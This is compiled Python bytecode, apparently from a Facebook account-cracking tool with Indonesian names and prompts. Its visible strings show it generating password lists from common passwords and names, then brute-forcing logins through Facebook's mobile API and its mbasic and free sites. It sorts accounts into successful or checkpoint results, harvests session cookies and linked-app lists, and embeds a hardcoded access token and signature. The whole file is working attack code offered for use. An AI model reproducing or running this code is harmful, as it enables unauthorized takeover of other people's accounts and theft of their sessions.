\x05|\x04|\x05\x17\x00\xa1\x01\x01\x00qzqo|\x02d\x0bv\x00r\x8an\r|\x02\xa0\x02d\x0c\xa1\x01D\x00]\x07}\x06|\x01\xa0\x05|\x06\xa1\x01\x01\x00q\x8f|\x01\xa0\x05|\x00\xa0\x03\xa1\x00\xa1\x01\x01\x00|\x01S\x00)\rN\xfa\x08pass.txtr\x7f\x00\x00\x00\xfa\x0enumberpass.txtr\x84\x00\x00\x00r\xce\x00\x00\x00r\xcf\x00\x00\x00r\xd0\x00\x00\x00r\xd1\x00\x00\x00r\xd2\x00\x00\x00r\xd3\x00\x00\x00)\x03r9\x00\x00\x00r\x84\x00\x00\x00z\x02 \xfa\x01,)\x06rk\x00\x00\x00r\x95\x00\x00\x00r\xd6\x00\x00\x00r6\x00\x00\x00r\xc6\x00\x00\x00r\xc5\x00\x00\x00)\x07r\xd8\x00\x00\x00r\xd9\x00\x00\x00Z\x02psZ\x02ppr\xa2\x00\x00\x00rz\x00\x00\x00r+\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\tgenerate4\xf6\x01\x00\x00s2\x00\x00\x00\x04\x01\x0e\x01\x0e\x01\x0e\x01\x08\x01\x0e\x01$\x01\x0e\x01\x0e\x01\x10\x01\n\x02\x0e\x01\x0e\x01\x10\x01\n\x01\x0e\x02\x08\x01\x0e\x01\x10\x01\x02\xff\n\x02\x0e\x02\x0c\x01\x0e\x01\x04\x01r\xe2\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00sN\x00\x00\x00t\x00d\x01\x83\x01\x01\x00t\x00d\x02t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\x01\x00t\x04d\x03t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01}\x00t\x05d\x04d\x05\x83\x02}\x01|\x01\xa0\x06|\x00\xa1\x01\x01\x00|\x01j\x07\x01\x00d\x00S\x00)\x06Nr9\x00\x00\x00u;\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sEXAMPLE : bangladesh,iloveyou,123456,786786u \x00\x00\x00%s [%s\xe2\x80\xa2%s] %sADD PASSWORDS : r\xdf\x00\x00\x00rF\x00\x00\x00\xa9\x08r:\x00\x00\x00r`\x00\x00\x00ra\x00\x00\x00rb\x00\x00\x00r_\x00\x00\x00rk\x00\x00\x00r&\x00\x00\x00rl\x00\x00\x00)\x02Z\x03cuyZ\x02ghr-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x0btambah_pass\x12\x02\x00\x00s\x0c\x00\x00\x00\x08\x01\x14\x01\x14\x01\n\x01\n\x01\n\x01r\xe4\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00sF\x00\x00\x00t\x00d\x01t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01\x01\x00t\x04d\x02t\x01t\x02t\x01t\x03f\x04\x16\x00\x83\x01}\x00t\x05d\x03d\x04\x83\x02}\x01|\x01\xa0\x06|\x00\xa1\x01\x01\x00|\x01j\x07\x01\x00d\x00S\x00)\x05Nu/\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sEXAMPLE : 123,1234,123@#,gamingu+\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sADD PASSWORD BEHIND NAME : r\xe0\x00\x00\x00rF\x00\x00\x00r\xe3\x00\x00\x00)\x02Z\x03coyZ\x02xyr-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x11tambah_pass_angka\x19\x02\x00\x00s\n\x00\x00\x00\x14\x01\x14\x01\n\x01\n\x01\n\x01r\xe5\x00\x00\x00c\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00s\xc4\x00\x00\x00t\x00d\x01d\x02\x83\x02\xa0\x01\xa1\x00}\x03t\x02\xa0\x03\xa1\x00}\x04t\x04t\x05\xa0\x06d\x03d\x04\xa1\x02\x83\x01t\x04t\x05\xa0\x06d\x05d\x06\xa1\x02\x83\x01t\x04t\x05\xa0\x06d\x05d\x06\xa1\x02\x83\x01d\x07d\x08|\x03d\td\nd\x0b\x9c\x08}\x05d\x0cd\rd\x0e|\x00d\x0f|\x01d\x10d\x11d\x12d\x13\x9c\t}\x06d\x14}\x07|\x04j\x07|\x07|\x06|\x05d\x15\x8d\x03}\x08d\x16|\x08j\x08v\x00rNd\x17|\x08j\x08v\x00rNd\x18|\x00|\x01d\x19\x9c\x03S\x00d\x1a|\x08\xa0\t\xa1\x00d\x1b\x19\x00v\x00r\\d\x1c|\x00|\x01d\x19\x9c\x03S\x00d\x1d|\x00|\x01d\x19\x9c\x03S\x00)\x1eNr\xa3\x00\x00\x00r\x7f\x00\x00\x00g\x00\x00\x00\x00\xd0\x12sAg\x00\x00\x00\x008\x9c|Ai N\x00\x00i@\x9c\x00\x00Z\tEXCELLENTz!cell.CTRadioAccessTechnologyHSDPA\xfa!application/x-www-form-urlencodedZ\x05Liger)\x08z\x19x-fb-connection-bandwidthz\x0cx-fb-sim-hniz\x0cx-fb-net-hniz\x17x-fb-connection-qualityz\x14x-fb-connection-typerO\x00\x00\x00rW\x00\x00\x00z\x10x-fb-http-enginez/350685531728%7C62f8ce9f74b12f84c123cc23437a4a32rh\x00\x00\x00rI\x00\x00\x00Z\x05en_USZ\x03iosr@\x00\x00\x00Z 3f555f99fb61fcd7aa0c44f58f522ef6)\tZ\x0caccess_token\xda\x06formatZ\x0bsdk_version\xda\x05email\xda\x06localeZ\x08passwordZ\x03sdkZ\x18generate_session_cookiesZ\x03sigz,https://b-api.facebook.com/method/auth.login)\x02\xda\x06paramsrY\x00\x00\x00Z\x0bsession_keyZ\x04EAAA\xda\x07success\xa9\x03\xda\x06statusr\xe8\x00\x00\x00\xda\x04passz\x10www.facebook.comZ\terror_msg\xda\x02cp\xda\x05error)\nrk\x00\x00\x00r\x95\x00\x00\x00rf\x00\x00\x00\xda\x07Session\xda\x03str\xda\x06randomr\x04\x00\x00\x00rg\x00\x00\x00rj\x00\x00\x00rh\x00\x00\x00)\t\xda\x02em\xda\x03pas\xda\x05hostsr\xa5\x00\x00\x00r\x7f\x00\x00\x00\xda\x06headerZ\x05param\xda\x03api\xda\x08responser-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x07log_api!\x02\x00\x00s8\x00\x00\x00\x0e\x01\x08\x01\x0e\x01\x0e\x01\x0e\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x06\xf9\x02\x08\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x06\xf8\x04\t\x10\x01\x14\x01\x0c\x01\x10\x01\x0c\x01\x0c\x01r\xfa\x00\x00\x00c\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x0b\x00\x00\x00C\x00\x00\x00\xf3\x88\x01\x00\x00t\x00d\x01d\x02\x83\x02\xa0\x01\xa1\x00}\x03t\x02\xa0\x03\xa1\x00}\x04|\x04j\x04\xa0\x05d\x03d\x04d\x05|\x03d\x06d\x07d\x08d\t\x9c\x07\xa1\x01\x01\x00|\x04\xa0\x06d\n\xa1\x01}\x05t\x07\xa0\x08|\x05j\td\x0b\xa1\x02}\x06d\x0c\xa0\nt\x07j\x0b\xa0\x0cd\r|\x05j\t\xa1\x02\xa1\x01}\x07i\x00}\x08|\x06d\x0e\x83\x01D\x00]?}\t|\t\xa0\x06d\x0f\xa1\x01d\x00u\x00rh|\t\xa0\x06d\x10\xa1\x01d\x11k\x02rN|\x08\xa0\x05d\x11|\x00i\x01\xa1\x01\x01\x00q6|\t\xa0\x06d\x10\xa1\x01d\x12k\x02r]|\x08\xa0\x05d\x12|\x01i\x01\xa1\x01\x01\x00q6|\x08\xa0\x05|\t\xa0\x06d\x10\xa1\x01d\x0ci\x01\xa1\x01\x01\x00q6|\x08\xa0\x05|\t\xa0\x06d\x10\xa1\x01|\t\xa0\x06d\x0f\xa1\x01i\x01\xa1\x01\x01\x00q6|\x08\xa0\x05|\x07d\x0cd\x13d\x14d\x0cd\x0cd\x0cd\x0cd\x15\x9c\x08\xa1\x01\x01\x00|\x04j\x04\xa0\x05d\x16d\x17i\x01\xa1\x01\x01\x00|\x04j\rd\x18|\x08d\x19\x8d\x02j\t}\nd\x1at\x0e|\x04j\x0f\xa0\x10\xa1\x00\xa0\x11\xa1\x00\x83\x01v\x00r\xa9d\x1b|\x00|\x01|\x04j\x0f\xa0\x10\xa1\x00d\x1c\x9c\x04S\x00d\x1dt\x0e|\x04j\x0f\xa0\x10\xa1\x00\xa0\x11\xa1\x00\x83\x01v\x00r\xbed\x1e|\x00|\x01|\x04j\x0f\xa0\x10\xa1\x00d\x1c\x9c\x04S\x00d\x1f|\x00|\x01d \x9c\x03S\x00)!Nr\xa3\x00\x00\x00r\x7f\x00\x00\x00\xfa\x13mbasic.facebook.comrM\x00\x00\x00r@\x00\x00\x00rN\x00\x00\x00\xfa\rgzip, deflaterL\x00\x00\x00\xa9\x07\xda\x04HostrU\x00\x00\x00rS\x00\x00\x00rO\x00\x00\x00rV\x00\x00\x00\xfa\x0faccept-encodingrT\x00\x00\x00z\x1chttps://mbasic.facebook.com/\xfa\x0bhtml.parserr9\x00\x00\x00\xfa\x17dtsg":\\{"token":"(.*?)"r_\x00\x00\x00\xda\x05valuerD\x00\x00\x00r\xe8\x00\x00\x00r\xee\x00\x00\x00r[\x00\x00\x00r\x8b\x00\x00\x00\xa9\x08\xda\x07fb_dtsgZ\x06m_sessZ\x06__userZ\x05__reqZ\x05__csrZ\x03__aZ\x05__dynZ\x07encpassrP\x00\x00\x00z:https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8z~https://mbasic.facebook.com/login/device-based/login/async/?refsrc=https%3A%2F%2Fm.facebook.com%2Flogin%2F%3Fref%3Ddbl&lwv=100\xa9\x01r}\x00\x00\x00\xda\x06c_userr\xeb\x00\x00\x00\xa9\x04r\xed\x00\x00\x00r\xe8\x00\x00\x00r\xee\x00\x00\x00rZ\x00\x00\x00\xda\ncheckpointr\xef\x00\x00\x00r\xf0\x00\x00\x00r\xec\x00\x00\x00\xa9\x12rk\x00\x00\x00r\x95\x00\x00\x00rf\x00\x00\x00r\xf1\x00\x00\x00rY\x00\x00\x00\xda\x06updaterg\x00\x00\x00\xda\x03bs4r\x06\x00\x00\x00rj\x00\x00\x00\xda\x04joinrt\x00\x00\x00\xda\x07findall\xda\x04post\xda\x04listrZ\x00\x00\x00Z\x08get_dict\xda\x04keys\xa9\x0br\xf4\x00\x00\x00r\xf5\x00\x00\x00r\xf6\x00\x00\x00r\xa5\x00\x00\x00r\x7f\x00\x00\x00\xda\x01prK\x00\x00\x00\xda\x04metar}\x00\x00\x00r\xa2\x00\x00\x00Z\x02por-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\nlog_mbasic<\x02\x00\x00\xf36\x00\x00\x00\x0e\x01\x08\x01\x1c\x01\n\x01\x0e\x01\x16\x01\x04\x01\x0c\x01\x0e\x01\x0e\x01\x10\x01\x0e\x01\x10\x01\x16\x02\x1c\x02\x04\x01\x06\x01\n\x01\x04\xff\x04\xff\x10\x05\x10\x01\x16\x01\x14\x01\x16\x01\x14\x01\x0c\x01r\x15\x01\x00\x00c\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x0b\x00\x00\x00C\x00\x00\x00r\xfb\x00\x00\x00)!Nr\xa3\x00\x00\x00r\x7f\x00\x00\x00z\x11free.facebook.comrM\x00\x00\x00r@\x00\x00\x00rN\x00\x00\x00r\xfd\x00\x00\x00rL\x00\x00\x00r\xfe\x00\x00\x00z\x1ahttps://free.facebook.com/r\x01\x01\x00\x00r9\x00\x00\x00r\x02\x01\x00\x00r_\x00\x00\x00r\x03\x01\x00\x00rD\x00\x00\x00r\xe8\x00\x00\x00r\xee\x00\x00\x00r[\x00\x00\x00r\x8b\x00\x00\x00r\x04\x01\x00\x00rP\x00\x00\x00z8https://free.facebook.com/login/?next&ref=dbl&fl&refid=8z|https://free.facebook.com/login/device-based/login/async/?refsrc=https%3A%2F%2Fm.facebook.com%2Flogin%2F%3Fref%3Ddbl&lwv=100r\x06\x01\x00\x00r\x07\x01\x00\x00r\xeb\x00\x00\x00r\x08\x01\x00\x00r\t\x01\x00\x00r\xef\x00\x00\x00r\xf0\x00\x00\x00r\xec\x00\x00\x00r\n\x01\x00\x00r\x12\x01\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x08log_freeZ\x02\x00\x00r\x16\x01\x00\x00r\x17\x01\x00\x00c\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x00\x12\x00\x00\x00C\x00\x00\x00s*\x02\x00\x00d\x01}\x03d\x02}\x04t\x00\xa0\x01\xa1\x00}\x05|\x05j\x02\xa0\x03d\x03d\x04d\x05|\x04d\x06|\x03d\x07d\x08d\td\nd\x0bd\x0c|\x04d\r\x17\x00d\x0ed\x0fd\x10\x9c\x0f\xa1\x01\x01\x00i\x00}\x06t\x04|\x05j\x05|\x04d\r\x17\x00d\x11|\x03i\x01d\x12\x8d\x02j\x06d\x13\x83\x02}\x07|\x07\xa0\x07d\x14d\x15d\x16i\x01\xa1\x02}\x08g\x00d\x17\xa2\x01}\t|\x08\xa0\x08d\x18\xa1\x01D\x00]\x17}\n|\n\xa0\x05d\x19\xa1\x01|\tv\x00rY|\x06\xa0\x03|\n\xa0\x05d\x19\xa1\x01|\n\xa0\x05d\x1a\xa1\x01i\x01\xa1\x01\x01\x00qBqB|\x06\xa0\x03|\x00|\x01d\x1b\x9c\x02\xa1\x01\x01\x00z\x13t\x04|\x05j\t|\x04|\x08\xa0\x05d\x1c\xa1\x01\x17\x00|\x06d\x1dd\x1e\x8d\x03j\x06d\x13\x83\x02}\x0bW\x00n\x0f\x04\x00t\x00j\nj\x0by\x84\x01\x00\x01\x00\x01\x00t\x0cd\x1f\x83\x01\x01\x00Y\x00n\x01w\x00d |\x05j\rv\x00r\x90d!|\x00|\x01d"\x9c\x03S\x00d#|\x05j\rv\x00\x90\x01r\t|\x0b\xa0\x07d\x14\xa1\x01}\x0c|\x0c\xa0\x07d\x18d\x19d$i\x01\xa1\x02d\x1a\x19\x00}\r|\x0c\xa0\x07d\x18d\x19d%i\x01\xa1\x02d\x1a\x19\x00}\x0e|\x0c\xa0\x07d\x18d\x19d&i\x01\xa1\x02d\x1a\x19\x00}\x0f|\r|\r|\x0e|\x0ed\'d(|\x0fd)\x9c\x07}\x10t\x04|\x05j\t|\x04|\x0cd\x1c\x19\x00\x17\x00|\x10d*\x8d\x02j\x06d\x13\x83\x02}\x11d+d,\x84\x00|\x11\xa0\x08d-\xa1\x01D\x00\x83\x01}\x12g\x00}\x13g\x00}\x14t\x0et\x0f|\x12\x83\x01\x83\x01D\x00]\x17}\x15|\x14\xa0\x10d.t\x11\x17\x00t\x12|\x15d/\x17\x00\x83\x01\x17\x00d0\x17\x00|\x12|\x15\x19\x00\x17\x00d1\x17\x00\xa1\x01\x01\x00q\xe6t\x0c|\x02d\'\xa0\x13|\x14\xa1\x01\x17\x00\x83\x01\x01\x00d\x00S\x00d2t\x12|\x0b\x83\x01v\x00\x90\x01r\x12d\x00S\x00\t\x00d\x00S\x00)3Nz\xa1Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36r\n\x00\x00\x00r\xfc\x00\x00\x00rM\x00\x00\x00r@\x00\x00\x00r\xe6\x00\x00\x00\xfa|text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\xfa\x0bmark.via.gp\xfa\x0bsame-origin\xda\x08navigate\xfa\x02?1\xda\x08document\xfa\x1f/login/?next&ref=dbl&fl&refid=8r\xfd\x00\x00\x00rL\x00\x00\x00\xa9\x0fr\xff\x00\x00\x00rU\x00\x00\x00rS\x00\x00\x00rR\x00\x00\x00rW\x00\x00\x00rO\x00\x00\x00rV\x00\x00\x00z\x10x-requested-withz\x0esec-fetch-sitez\x0esec-fetch-modez\x0esec-fetch-userz\x0esec-fetch-destrP\x00\x00\x00r\x00\x01\x00\x00rT\x00\x00\x00rO\x00\x00\x00r\x83\x00\x00\x00r\x01\x01\x00\x00\xda\x04form\xda\x06methodr\x0f\x01\x00\x00\xa9\x08Z\x03lsd\xda\x07jazoestZ\x04m_tsZ\x02liZ\ntry_numberZ\x12unrecognized_triesZ\x05loginZ\x07bi_xrwhr_\x00\x00\x00rD\x00\x00\x00r\x03\x01\x00\x00\xa9\x02r\xe8\x00\x00\x00r\xee\x00\x00\x00\xda\x06actionT\xa9\x02r}\x00\x00\x00Z\x0fallow_redirectsz\x15[!] Redirect Overloadr\x07\x01\x00\x00r\xf0\x00\x00\x00r\xec\x00\x00\x00r\t\x01\x00\x00r\x05\x01\x00\x00r#\x01\x00\x00\xda\x02nhr9\x00\x00\x00\xda\tLanjutkan\xa9\x07r\x05\x01\x00\x00r\x05\x01\x00\x00r#\x01\x00\x00r#\x01\x00\x00Z\x0fcheckpoint_dataz\x10submit[Continue]r\'\x01\x00\x00r\x06\x01\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00S\x00\x00\x00\xf3\x12\x00\x00\x00g\x00|\x00]\x05}\x01|\x01j\x00\x91\x02q\x02S\x00r-\x00\x00\x00\xa9\x01rj\x00\x00\x00\xa9\x02\xda\x02.0Z\x02yyr-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\n<listcomp>\xac\x02\x00\x00\xf3\x02\x00\x00\x00\x12\x00z\x1bcek_log.<locals>.<listcomp>\xda\x06optionz\x06\n r \x00\x00\x00\xfa\x02. r\x84\x00\x00\x00\xda\x0blogin_error)\x14rf\x00\x00\x00r\xf1\x00\x00\x00rY\x00\x00\x00r\x0b\x01\x00\x00\xda\x03parrg\x00\x00\x00rj\x00\x00\x00\xda\x04find\xda\x08find_allr\x0f\x01\x00\x00rr\x00\x00\x00\xda\x10TooManyRedirectsr:\x00\x00\x00rZ\x00\x00\x00\xda\x05ranger\xc6\x00\x00\x00r\xc5\x00\x00\x00ra\x00\x00\x00r\xf2\x00\x00\x00r\r\x01\x00\x00)\x16\xda\x04user\xda\x04pasw\xda\x04h_cpr\xa5\x00\x00\x00Z\x02mb\xda\x03sesr}\x00\x00\x00\xda\x03ged\xda\x02fmr\x10\x01\x00\x00r\xa2\x00\x00\x00\xda\x03runr \x01\x00\x00\xda\x04dtsg\xda\x04jzstr\'\x01\x00\x00\xda\x05dataD\xda\x04xnxx\xda\x04ngewZ\x04opsiZ\noption_dev\xda\x03optr-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x07cek_logx\x02\x00\x00sv\x00\x00\x00\x04\x01\x04\x01\x08\x01\x06\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x06\x01\x02\x01\x02\x01\x08\xf1\x04\x11\x1e\x01\x10\x01\x08\x01\x0e\x01\x0e\x01\x1c\x01\x02\x02\x10\x01\x02\x01&\x01\x10\x01\x0c\x01\x02\xff\n\x02\x0c\x01\x0c\x01\n\x01\x14\x01\x14\x01\x14\x01\x02\x02\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x06\xf9\x1e\t\x14\x01\x04\x01\x04\x01\x10\x01,\x01\x16\x01\x0e\x01\x04\x01\x06\x02rE\x01\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x00s\xba\x00\x00\x00g\x00}\x01t\x00|\x00\xa0\x01\xa1\x00\x83\x01D\x00]/}\x02|\x02d\x01\x19\x00t\x02|\x00\xa0\x01\xa1\x00\x83\x01d\x02\x18\x00k\x02r&|\x01\xa0\x03|\x02d\x02\x19\x00d\x03\x17\x00|\x00|\x02d\x02\x19\x00\x19\x00\x17\x00\xa1\x01\x01\x00q\x08|\x01\xa0\x03|\x02d\x02\x19\x00d\x03\x17\x00|\x00|\x02d\x02\x19\x00\x19\x00\x17\x00d\x04\x17\x00\xa1\x01\x01\x00q\x08d\x05\xa0\x04|\x01\xa1\x01}\x03|\x03\xa0\x05d\x06d\x05\xa1\x02}\x04|\x04\xa0\x06d\x07\xa1\x01}\x05d\x08|\x05d\t\x19\x00|\x05d\x02\x19\x00|\x05d\x01\x19\x00|\x05d\n\x19\x00|\x05d\x0b\x19\x00f\x05\x16\x00}\x06|\x06S\x00)\x0cNr\x03\x00\x00\x00r \x00\x00\x00\xfa\x01=z\x02; r9\x00\x00\x00r\x84\x00\x00\x00\xfa\x01;z\x12%s; %s; %s; %s; %sr\xcf\x00\x00\x00r\xd0\x00\x00\x00r\xce\x00\x00\x00)\x07\xda\tenumerater\x11\x01\x00\x00r\xc6\x00\x00\x00r\xc5\x00\x00\x00r\r\x01\x00\x00r\xc4\x00\x00\x00r\xd6\x00\x00\x00)\x07rZ\x00\x00\x00\xda\x06resultr\xa2\x00\x00\x00Z\x06sampleZ\x04sam_Z\x05samp_\xda\x05finalr-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x04koki\xb6\x02\x00\x00s\x12\x00\x00\x00\x04\x01\x10\x018\x01$\x01\n\x01\x0c\x01\n\x01&\x01\x04\x01rK\x01\x00\x00c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x00s\xf2\x00\x00\x00g\x00}\x02t\x00\xa0\x01\xa1\x00}\x03d\x01}\x04|\x03j\x02|\x04d\x02|\x01i\x01d\x03\x8d\x02}\x05t\x03|\x05j\x04d\x04\x83\x02}\x06|\x06j\x05d\x05d\x06d\x07\x8d\x02}\x07|\x07\xa0\x06d\x08\xa1\x01D\x00]\x16}\x08z\x0f|\x08\xa0\x05d\t\xa1\x01j\x07}\t|\x02\xa0\x08d\n|\t\x17\x00\xa1\x01\x01\x00W\x00q#\x01\x00\x01\x00\x01\x00Y\x00q#d\x0b}\n|\x03j\x02|\nd\x02|\x01i\x01d\x03\x8d\x02}\x05t\x03|\x05j\x04d\x04\x83\x02}\x06|\x06j\x05d\x05d\x06d\x07\x8d\x02}\x07|\x07\xa0\x06d\x08\xa1\x01D\x00]\x16}\x08z\x0f|\x08\xa0\x05d\t\xa1\x01j\x07}\t|\x02\xa0\x08d\n|\t\x17\x00\xa1\x01\x01\x00W\x00qW\x01\x00\x01\x00\x01\x00Y\x00qWt\t|\x00d\x0c\xa0\n|\x02\xa1\x01\x17\x00\x83\x01\x01\x00d\x00S\x00)\rNz<https://mbasic.facebook.com/settings/apps/tabbed/?tab=activerX\x00\x00\x00)\x01rZ\x00\x00\x00r\x01\x01\x00\x00r \x01\x00\x00r\x0f\x01\x00\x00)\x01r!\x01\x00\x00Z\x02h3\xda\x04spanu\x08\x00\x00\x00\n \xe2\x80\xa2 z>https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactiver9\x00\x00\x00)\x0brf\x00\x00\x00r\xf1\x00\x00\x00rg\x00\x00\x00r3\x01\x00\x00Z\x07contentr4\x01\x00\x00r5\x01\x00\x00rj\x00\x00\x00r\xc5\x00\x00\x00r:\x00\x00\x00r\r\x01\x00\x00)\x0b\xda\x04h_okr\xd9\x00\x00\x00\xda\x03apkZ\x04ses_Z\x03urlZ\x08dat_gameZ\x08datagameZ\x05form_Z\x03asuZ\x06celengZ\x04url2r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x07cek_apk\xc0\x02\x00\x00s*\x00\x00\x00\x04\x01\x08\x01\x04\x01\x12\x01\x0c\x01\x0e\x01\x0e\x01\x02\x01\x0c\x01\x12\x01\n\x01\x04\x01\x12\x01\x0c\x01\x0e\x01\x0e\x01\x02\x01\x0c\x01\x12\x01\n\x01\x16\x01rO\x01\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\xf0\x01\x00\x00t\x00|\x00\x83\x01d\x01k\x02r\xd6|\x00d\x00d\x02\x85\x02\x19\x00d\x03v\x00r\x12d\x04}\x01|\x01S\x00|\x00d\x00d\x05\x85\x02\x19\x00d\x06v\x00r\x1ed\x04}\x01|\x01S\x00|\x00d\x00d\x07\x85\x02\x19\x00d\x08v\x00r*d\x04}\x01|\x01S\x00|\x00d\x00d\t\x85\x02\x19\x00d\nv\x00r6d\x04}\x01|\x01S\x00|\x00d\x00d\t\x85\x02\x19\x00d\x0bv\x00rBd\x0c}\x01|\x01S\x00|\x00d\x00d\r\x85\x02\x19\x00d\x0ev\x00rNd\x0f}\x01|\x01S\x00|\x00d\x00d\r\x85\x02\x19\x00d\x10v\x00rZd\x11}\x01|\x01S\x00|\x00d\x00d\r\x85\x02\x19\x00d\x12v\x00rfd\x13}\x01|\x01S\x00|\x00d\x00d\r\x85\x02\x19\x00d\x14v\x00rrd\x15}\x01|\x01S\x00|\x00d\x00d\r\x85\x02\x19\x00d\x16v\x00r~d\x17}\x01|\x01S\x00|\x00d\x00d\r\x85\x02\x19\x00d\x18v\x00r\x8ad\x19}\x01|\x01S\x00|\x00d\x00d\x1a\x85\x02\x19\x00d\x1bv\x00r\x96d\x1c}\x01|\x01S\x00|\x00d\x00d\x1a\x85\x02\x19\x00d\x1dv\x00r\xa2d\x1e}\x01|\x01S\x00|\x00d\x00d\x1a\x85\x02\x19\x00d\x1fv\x00r\xaed }\x01|\x01S\x00|\x00d\x00d\x1a\x85\x02\x19\x00d!v\x00r\xbad"}\x01|\x01S\x00|\x00d\x00d\x1a\x85\x02\x19\x00d#v\x00r\xc6d$}\x01|\x01S\x00|\x00d\x00d\x1a\x85\x02\x19\x00d%v\x00r\xd2d&}\x01|\x01S\x00d\'}\x01|\x01S\x00t\x00|\x00\x83\x01d(v\x00r\xe0d)}\x01|\x01S\x00t\x00|\x00\x83\x01d\x07k\x02r\xead*}\x01|\x01S\x00t\x00|\x00\x83\x01d\tk\x02r\xf4d+}\x01|\x01S\x00d\'}\x01|\x01S\x00),N\xe9\x0f\x00\x00\x00\xe9\n\x00\x00\x00)\x01Z\n1000000000u\t\x00\x00\x00 \xe2\x80\xa2 2009\xe9\t\x00\x00\x00)\x01Z\t100000000\xe9\x08\x00\x00\x00)\x01Z\x0810000000\xe9\x07\x00\x00\x00)\x06Z\x071000000Z\x071000001Z\x071000002Z\x071000003Z\x071000004Z\x071000005)\x04Z\x071000006Z\x071000007Z\x071000008Z\x071000009u\t\x00\x00\x00 \xe2\x80\xa2 2010r\xd4\x00\x00\x00)\x01Z\x06100001u\x0e\x00\x00\x00 \xe2\x80\xa2 2010/2011)\x02Z\x06100002Z\x06100003u\x0e\x00\x00\x00 \xe2\x80\xa2 2011/2012)\x01Z\x06100004u\x0e\x00\x00\x00 \xe2\x80\xa2 2012/2013)\x02Z\x06100005Z\x06100006u\x0e\x00\x00\x00 \xe2\x80\xa2 2013/2014)\x02Z\x06100007Z\x06100008u\x0e\x00\x00\x00 \xe2\x80\xa2 2014/2015)\x01Z\x06100009u\t\x00\x00\x00 \xe2\x80\xa2 2015r\xd0\x00\x00\x00)\x01Z\x0510001u\x0e\x00\x00\x00 \xe2\x80\xa2 2015/2016)\x01Z\x0510002u\x0e\x00\x00\x00 \xe2\x80\xa2 2016/2017)\x01Z\x0510003u\t\x00\x00\x00 \xe2\x80\xa2 2018)\x01Z\x0510004u\t\x00\x00\x00 \xe2\x80\xa2 2019)\x01Z\x0510005u\t\x00\x00\x00 \xe2\x80\xa2 2020)\x03Z\x0510006Z\x0510007Z\x0510008u\t\x00\x00\x00 \xe2\x80\xa2 2021r9\x00\x00\x00)\x02rR\x01\x00\x00rQ\x01\x00\x00u\x0e\x00\x00\x00 \xe2\x80\xa2 2008/2009u\x0e\x00\x00\x00 \xe2\x80\xa2 2007/2008u\x0e\x00\x00\x00 \xe2\x80\xa2 2006/2007)\x01r\xc6\x00\x00\x00)\x02Z\x02fxZ\x06bochorr-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x05tahun\xd6\x02\x00\x00s`\x00\x00\x00\x0c\x01\x14\x01\x04\x19\x14\xe8\x04\x18\x14\xe9\x04\x17\x14\xea\x04\x16\x14\xeb\x04\x15\x14\xec\x04\x14\x14\xed\x04\x13\x14\xee\x04\x12\x14\xef\x04\x11\x14\xf0\x04\x10\x14\xf1\x04\x0f\x14\xf2\x04\x0e\x14\xf3\x04\r\x14\xf4\x04\x0c\x14\xf5\x04\x0b\x14\xf6\x04\n\x14\xf7\x04\t\x04\xf8\x04\x08\x0c\xf9\x04\x01\x04\x06\x0c\xfb\x04\x01\x04\x04\x0c\xfd\x04\x01\x04\x02\x04\xff\x04\x01rU\x01\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00@\x00\x00\x00sL\x00\x00\x00e\x00Z\x01d\x00Z\x02d\x01d\x02\x84\x00Z\x03d\x03d\x04\x84\x00Z\x04d\x05d\x06\x84\x00Z\x05d\x07d\x08\x84\x00Z\x06d\td\n\x84\x00Z\x07d\x0bd\x0c\x84\x